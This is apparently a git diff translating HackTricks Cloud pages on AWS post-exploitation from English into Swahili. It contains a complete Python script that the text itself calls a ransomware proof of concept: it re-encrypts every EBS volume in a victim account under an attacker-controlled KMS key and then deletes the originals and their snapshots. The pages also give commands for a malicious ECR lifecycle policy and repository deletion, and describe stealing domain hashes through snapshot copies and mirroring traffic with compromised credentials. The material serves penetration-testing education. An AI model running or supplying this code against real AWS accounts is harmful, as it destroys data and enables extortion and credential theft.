uondoe sheria ya sera ya 'Ufunguo wa Nje' kutoka kwenye sera ya ufunguo. ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya volumu za EBS zilizofichwa kwa ufunguo mpya. Utagundua kwamba unaweza kuunganisha volumu hiyo. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +Lakini unapojaribu kuanzisha tena EC2 instance na volumu ya EBS iliyofichwa, itashindwa na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani volumu ya EBS iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. - +Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichaji. Script itafanya nakala zilizofichwa za VOLUMLA ZOTE zinazopatikana zilizounganishwa kwa EC2 instances ZOTE katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa volumu za EBS za asili, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha tu volumu za EBS zilizofichwa katika akaunti ya 'mwathirika' iliyolengwa. TUMIA TU SCRIPT HII KATIKA ENVIRONMENT YA KIJARIBIO, NI DESTRUCTIVE NA ITAFUTA VOLUMLA ZOTE ZA ASILI ZA EBS. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kwamba hii ni PoC ya ransomware mwishoni mwa siku. ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): - instances = ec2_client.describe_instances() - instance_volumes = {} - for reservation in instances['Reservations']: - for instance in reservation['Instances']: - instance_id = instance['InstanceId'] - volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] - instance_volumes[instance_id] = volumes - return instance_volumes +instances = ec2_client.describe_instances() +instance_volumes = {} +for reservation in instances['Reservations']: +for instance in reservation['Instances']: +instance_id = instance['InstanceId'] +volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] +instance_volumes[instance_id] = volumes +return instance_volumes def snapshot_volumes(ec2_client, volumes): - snapshot_ids = [] - for volume_id in volumes: - snapshot = ec2_client.create_snapshot(VolumeId=volume_id) - snapshot_ids.append(snapshot['SnapshotId']) - return snapshot_ids +snapshot_ids = [] +for volume_id in volumes: +snapshot = ec2_client.create_snapshot(VolumeId=volume_id) +snapshot_ids.append(snapshot['SnapshotId']) +return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) +for snapshot_id in snapshot_ids: +ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): - new_volume_ids = [] - for snapshot_id in snapshot_ids: - snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] - volume_id = snapshot_info['VolumeId'] - volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] - availability_zone = volume_info['AvailabilityZone'] +new_volume_ids = [] +for snapshot_id in snapshot_ids: +snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] +volume_id = snapshot_info['VolumeId'] +volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] +availability_zone = volume_info['AvailabilityZone'] - volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, - Encrypted=True, KmsKeyId=kms_key_arn) - new_volume_ids.append(volume['VolumeId']) - return new_volume_ids +volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, +Encrypted=True, KmsKeyId=kms_key_arn) +new_volume_ids.append(volume['VolumeId']) +return new_volume_ids def stop_instances(ec2_client, instance_ids): - for instance_id in instance_ids: - try: - instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) - instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] +for instance_id in instance_ids: +try: +instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) +instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] - if instance_state == 'running': - ec2_client.stop_instances(InstanceIds=[instance_id]) - print(f"Stopping instance: {instance_id}") - ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) - print(f"Instance {instance_id} stopped.") - else: - print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") +if instance_state == 'running': +ec2_client.stop_instances(InstanceIds=[instance_id]) +print(f"Stopping instance: {instance_id}") +ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) +print(f"Instance {instance_id} stopped.") +else: +print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") - except ClientError as e: - print(f"Error stopping instance {instance_id}: {e}") +except ClientError as e: +print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): - for volume_id in volumes: - try: - ec2_client.detach_volume(VolumeId=volume_id) - ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) - ec2_client.delete_volume(VolumeId=volume_id) - print(f"Deleted volume: {volume_id}") - except ClientError as e: - print(f"Error detaching or deleting volume {volume_id}: {e}") +for volume_id in volumes: +try: +ec2_client.detach_volume(VolumeId=volume_id) +ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) +ec2_client.delete_volume(VolumeId=volume_id) +print(f"Deleted volume: {volume_id}") +except ClientError as e: +print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - try: - ec2_client.delete_snapshot(SnapshotId=snapshot_id) - print(f"Deleted snapshot: {snapshot_id}") - except ClientError as e: - print(f"Error deleting snapshot {snapshot_id}: {e}") +for snapshot_id in snapshot_ids: +try: +ec2_client.delete_snapshot(SnapshotId=snapshot_id) +print(f"Deleted snapshot: {snapshot_id}") +except ClientError as e: +print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): - instance_ids = list(instance_volumes.keys()) - stop_instances(ec2_client, instance_ids) +instance_ids = list(instance_volumes.keys()) +stop_instances(ec2_client, instance_ids) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - detach_and_delete_volumes(ec2_client, all_volumes) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): - ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) +ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached - replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes - delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached +replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes +delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): - parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') - parser.add_argument('--access-key', required=True, help='AWS Access Key ID') - parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') - parser.add_argument('--region', required=True, help='AWS Region') - parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') - return parser.parse_args() +parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') +parser.add_argument('--access-key', required=True, help='AWS Access Key ID') +parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') +parser.add_argument('--region', required=True, help='AWS Region') +parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') +return parser.parse_args() def main(): - args = parse_arguments() - ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) +args = parse_arguments() +ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) - replace_volumes(ec2_client, instance_volumes) - delete_snapshots(ec2_client, snapshot_ids) +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) +replace_volumes(ec2_client, instance_volumes) +delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": - main() +main() ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 7a9a19cc4..58323b5b2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -2,8 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Checking a snapshot locally - +## Kuangalia snapshot kwa ndani ```bash # Install dependencies pip install 'dsnap[cli]' @@ -32,10 +31,8 @@ cd dsnap make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` - > [!CAUTION] -> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: - +> **Kumbuka** kwamba `dsnap` haitakuruhusu kupakua picha za umma. Ili kuzunguka hili, unaweza kufanya nakala ya picha hiyo katika akaunti yako binafsi, na kupakua hiyo: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` +Kwa maelezo zaidi kuhusu mbinu hii angalia utafiti wa asili katika [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) -For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) - -You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) - -## Checking a snapshot in AWS +Unaweza kufanya hivi na Pacu ukitumia moduli [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) +## Kuangalia snapshot katika AWS ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` +**Mount it in a EC2 VM under your control** (inapaswa kuwa katika eneo moja na nakala ya nakala ya akiba): -**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): +Step 1: Hifadhi mpya ya ukubwa na aina unayopendelea inapaswa kuundwa kwa kuelekea EC2 ā€“> Volumes. -Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 ā€“> Volumes. +Ili uweze kufanya hatua hii, fuata amri hizi: -To be able to perform this action, follow these commands: +- Unda hifadhi ya EBS kuunganisha na mfano wa EC2. +- Hakikisha kuwa hifadhi ya EBS na mfano ziko katika eneo moja. -- Create an EBS volume to attach to the EC2 instance. -- Ensure that the EBS volume and the instance are in the same zone. +Step 2: Chaguo la "attach volume" linapaswa kuchaguliwa kwa kubonyeza kulia kwenye hifadhi iliyoundwa. -Step 2: The "attach volume" option is to be selected by right-clicking on the created volume. +Step 3: Mfano kutoka kwenye kisanduku cha maandiko ya mfano unapaswa kuchaguliwa. -Step 3: The instance from the instance text box is to be selected. +Ili uweze kufanya hatua hii, tumia amri ifuatayo: -To be able to perform this action, use the following command: +- Unganisha hifadhi ya EBS. -- Attach the EBS volume. +Step 4: Ingia kwenye mfano wa EC2 na orodhesha diski zinazopatikana kwa kutumia amri `lsblk`. -Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`. +Step 5: Angalia kama hifadhi ina data yoyote kwa kutumia amri `sudo file -s /dev/xvdf`. -Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`. +Ikiwa matokeo ya amri hapo juu yanaonyesha "/dev/xvdf: data", inamaanisha kuwa hifadhi ni tupu. -If the output of the above command shows "/dev/xvdf: data", it means the volume is empty. +Step 6: Fanya hifadhi kuwa mfumo wa faili wa ext4 kwa kutumia amri `sudo mkfs -t ext4 /dev/xvdf`. Vinginevyo, unaweza pia kutumia muundo wa xfs kwa kutumia amri `sudo mkfs -t xfs /dev/xvdf`. Tafadhali kumbuka kuwa unapaswa kutumia ama ext4 au xfs. -Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs. +Step 7: Unda saraka ya uchaguzi wako ili kuunganisha hifadhi mpya ya ext4. Kwa mfano, unaweza kutumia jina "newvolume". -Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume". +Ili uweze kufanya hatua hii, tumia amri `sudo mkdir /newvolume`. -To be able to perform this action, use the command `sudo mkdir /newvolume`. +Step 8: Unganisha hifadhi kwenye saraka ya "newvolume" kwa kutumia amri `sudo mount /dev/xvdf /newvolume/`. -Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`. +Step 9: Badilisha saraka hadi saraka ya "newvolume" na angalia nafasi ya diski ili kuthibitisha kuunganisha hifadhi. -Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount. +Ili uweze kufanya hatua hii, tumia amri zifuatazo: -To be able to perform this action, use the following commands: +- Badilisha saraka hadi `/newvolume`. +- Angalia nafasi ya diski kwa kutumia amri `df -h .`. Matokeo ya amri hii yanapaswa kuonyesha nafasi ya bure katika saraka ya "newvolume". -- Change directory to `/newvolume`. -- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory. - -You can do this with Pacu using the module `ebs__explore_snapshots`. +Unaweza kufanya hivi na Pacu ukitumia moduli `ebs__explore_snapshots`. ## Checking a snapshot in AWS (using cli) - ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` - ## Shadow Copy -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Mtu yeyote wa AWS mwenye ruhusa ya **`EC2:CreateSnapshot`** anaweza kuiba hash za watumiaji wote wa kikoa kwa kuunda **snapshot ya Domain Controller** na kuikamilisha kwenye mfano wanaodhibiti na **kutoa faili ya NTDS.dit na SYSTEM** registry hive kwa matumizi na mradi wa Impacket's secretsdump. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Unaweza kutumia chombo hiki kuendesha shambulio: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) au unaweza kutumia moja ya mbinu za awali baada ya kuunda snapshot. ## References - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index eb3b5f33f..fab8953eb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -4,16 +4,12 @@ **Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** -Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called ā€œ**VPC Traffic Mirroring**ā€ has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**. +Ukaguzi wa mtandao wa passiv katika mazingira ya wingu umekuwa **mgumu**, ukihitaji mabadiliko makubwa ya usanidi ili kufuatilia trafiki ya mtandao. Hata hivyo, kipengele kipya kinachoitwa ā€œ**VPC Traffic Mirroring**ā€ kimeanzishwa na AWS ili kurahisisha mchakato huu. Kwa VPC Traffic Mirroring, trafiki ya mtandao ndani ya VPCs inaweza **kurudiwa** bila kufunga programu yoyote kwenye mifano yenyewe. Trafiki hii iliyorudiwa inaweza kutumwa kwa mfumo wa kugundua uvamizi wa mtandao (IDS) kwa **uchambuzi**. -To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called ā€œ**malmirror**ā€. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts. +Ili kukabiliana na hitaji la **kujiendesha kiotomatiki** kwa miundombinu inayohitajika kwa ajili ya kurudiwa na kuhamasisha trafiki ya VPC, tumetengeneza skripti ya uthibitisho wa dhana inayoitwa ā€œ**malmirror**ā€. Skripti hii inaweza kutumika na **akidi za AWS zilizovunjwa** kuweka kurudiwa kwa mifano yote inayoungwa mkono ya EC2 katika VPC lengwa. Ni muhimu kutambua kwamba VPC Traffic Mirroring inasaidiwa tu na mifano ya EC2 inayotumiwa na mfumo wa AWS Nitro, na lengo la VPC mirror lazima liwe ndani ya VPC hiyo hiyo kama wenyeji waliorudiwa. -The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible. +**Athari** za kurudiwa kwa trafiki ya VPC yenye uharibifu zinaweza kuwa kubwa, kwani inawawezesha washambuliaji kupata **habari nyeti** zinazotumwa ndani ya VPCs. **Uwezekano** wa kurudiwa kwa namna hiyo yenye uharibifu ni mkubwa, ukizingatia uwepo wa **trafiki ya maandiko wazi** inayopita kupitia VPCs. Makampuni mengi hutumia protokali za maandiko wazi ndani ya mitandao yao ya ndani kwa **sababu za utendaji**, wakidhani kwamba mashambulizi ya jadi ya mtu katikati hayawezekani. -For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes. +Kwa maelezo zaidi na ufikiaji wa [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), inaweza kupatikana kwenye **GitHub repository** yetu. Skripti hii inaweka kiotomatiki na kuharakisha mchakato, ikifanya iwe **haraka, rahisi, na inayoweza kurudiwa** kwa madhumuni ya utafiti wa mashambulizi. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index a971ea769..03b9abcba 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -4,14 +4,13 @@ ## ECR -For more information check +Kwa maelezo zaidi angalia {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Login, Pull & Push - +### Ingia, Pull & Push ```bash # Docker login into ecr ## For public repo (always use us-east-1) @@ -38,17 +37,16 @@ docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ - --registry-id 653711331788 \ - --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ - --repository-name level2 \ - --registry-id 653711331788 \ - --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` - -After downloading the images you should **check them for sensitive info**: +Baada ya kupakua picha, unapaswa **kuzikagua kwa habari nyeti**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. - +Mshambuliaji mwenye ruhusa yoyote kati ya hizi anaweza **kuunda au kubadilisha sera ya mzunguko ili kufuta picha zote katika hifadhi** na kisha **kufuta hifadhi nzima ya ECR**. Hii itasababisha kupoteza picha zote za kontena zilizohifadhiwa katika hifadhi. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ - "rules": [ - { - "rulePriority": 1, - "description": "Delete all images", - "selection": { - "tagStatus": "any", - "countType": "imageCountMoreThan", - "countNumber": 0 - }, - "action": { - "type": "expire" - } - } - ] +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository @@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 1d2fd80a5..236aa5e6e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -4,7 +4,7 @@ ## ECS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,42 +12,37 @@ For more information check: ### Host IAM Roles -In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +Katika ECS, **IAM role inaweza kupewa kazi** inayokimbia ndani ya kontena. **Ikiwa** kazi inakimbia ndani ya **EC2** instance, **EC2 instance** itakuwa na **IAM** role nyingine iliyounganishwa nayo.\ +Hii inamaanisha kwamba ikiwa utaweza **kudhoofisha** instance ya ECS unaweza kupata **IAM role inayohusiana na ECR na EC2 instance**. Kwa maelezo zaidi 